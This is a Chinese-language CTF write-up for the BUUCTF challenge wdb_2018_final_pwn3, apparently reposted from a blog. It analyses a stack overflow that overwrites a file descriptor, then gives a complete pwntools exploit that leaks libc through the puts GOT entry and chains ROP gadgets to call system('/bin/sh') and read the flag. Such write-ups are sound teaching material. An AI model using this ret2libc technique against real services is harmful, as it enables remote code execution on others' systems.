其他分享
首页 > 其他分享> > [BUUCTF-pwn] wdb_2018_final_pwn3

[BUUCTF-pwn] wdb_2018_final_pwn3

作者:互联网

一个栈溢出的题,没开PIE

程序先打开随机数发生器,读入然后加密,与输入的对比,不同时可输入0x400数据(溢出)相同则跳出循环。

  fd = open("/dev/urandom", 0);
  while ( 1 )
  {
    puts("\nFind a MD5 hash collision!");
    printf("target: ");
    read(fd, buf, 0x3FFuLL);
    crypto(buf, 0x64uLL, (__int64)s2);
    for ( i = 0; i <= 15; ++i )
      printf("%2.2x", (unsigned __int8)s2[i]);
    printf("\ninput: ");
    readn(v7, 0x64u);
    crypto(v7, 0x64uLL, (__int64)s1);
    s2[0] = 17;
    s2[1] = 0;
    if ( !strcmp(s1, s2) )
      break;
    puts("collision not found...");
    puts("you can instead guess the random value: ");
    readn(v7, 0x400u);                          // 溢出,先覆盖fp,循环后会从输入读入值
    if ( !strcmp(v7, buf) )
    {
      puts("congratulations! how do you guess it?");
      return 0LL;
    }
    puts("failed... try again!\n");
  }
  return 0LL;

漏洞点在readn(v7,0x400) ,在这里v7溢出后可以覆盖到fp将fp改为0则下个循环时从标准输入读数据,这时这个随机数就可控了,可以比较成功。

思路:

  1. 输入溢出到fp覆盖为0
  2. 循环回来后两个都输入0
  3. 再溢出输入rop泄露libc,然后调用start重来
  4. 回到步骤1,rop写system
from pwn import *

binary = './pwn'
local = 0
if local == 1:
    p = process('./pwn')
    libc_elf = ELF("/home/shi/pwn/libc6_2.23/libc-2.23.so")
    one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]
    libc_start_main_ret = 0x20840
else:
    p = remote('node4.buuoj.cn', 29548) 
    libc_elf = ELF('../libc6_2.23-0ubuntu10_amd64.so')
    one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
    libc_start_main_ret = 0x20830

elf = ELF(binary)
context(arch = 'amd64', log_level='debug') #'critical'
readn    = 0x400e89
pop_rdi  = 0x00000000004010a3 # pop rdi ; ret
pop_rsi  = 0x00000000004010a1 # pop rsi ; pop r15 ; ret

#gdb.attach(p, 'b*0x400e89')
#1
p.sendafter(b"\ninput: ", b'\x00'*0x64)
p.sendlineafter(b"you can instead guess the random value: ", b'\x00'*(0x80-8) + p64(0))

p.sendafter(b"target: ", b'\x00'*0x3ff)
p.sendafter(b"\ninput: ", b'\x00'*0x64)
payload = flat(b'\x00'*(0x88 -1),
    pop_rdi,elf.got['puts'], elf.plt['puts'],   #puts got.puts
    0x400880 )  #call start
p.sendlineafter(b"you can instead guess the random value: ", payload)

p.recvuntil(b"congratulations! how do you guess it?\n")
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc_elf.sym['puts']
system    = libc_base + libc_elf.sym['system']
bin_sh    = libc_base + next(libc_elf.search(b'/bin/sh'))
print('libc:', hex(libc_base))
sleep(0.1)

#2
p.sendafter(b"\ninput: ", b'\x00'*0x64)
p.sendlineafter(b"you can instead guess the random value: ", b'\x00'*(0x80-8) + p64(0))

p.sendafter(b"target: ", b'\x00'*0x3ff)
p.sendafter(b"\ninput: ", b'\x00'*0x64)
payload = flat(b'\x00'*(0x88 -1), pop_rdi,bin_sh, system)  #call system
p.sendlineafter(b"you can instead guess the random value: ", payload)


p.sendline(b'cat /flag')
p.interactive()

标签:puts,wdb,BUUCTF,sendafter,pwn3,libc,elf,pop,x00
来源: https://blog.csdn.net/weixin_52640415/article/details/121978390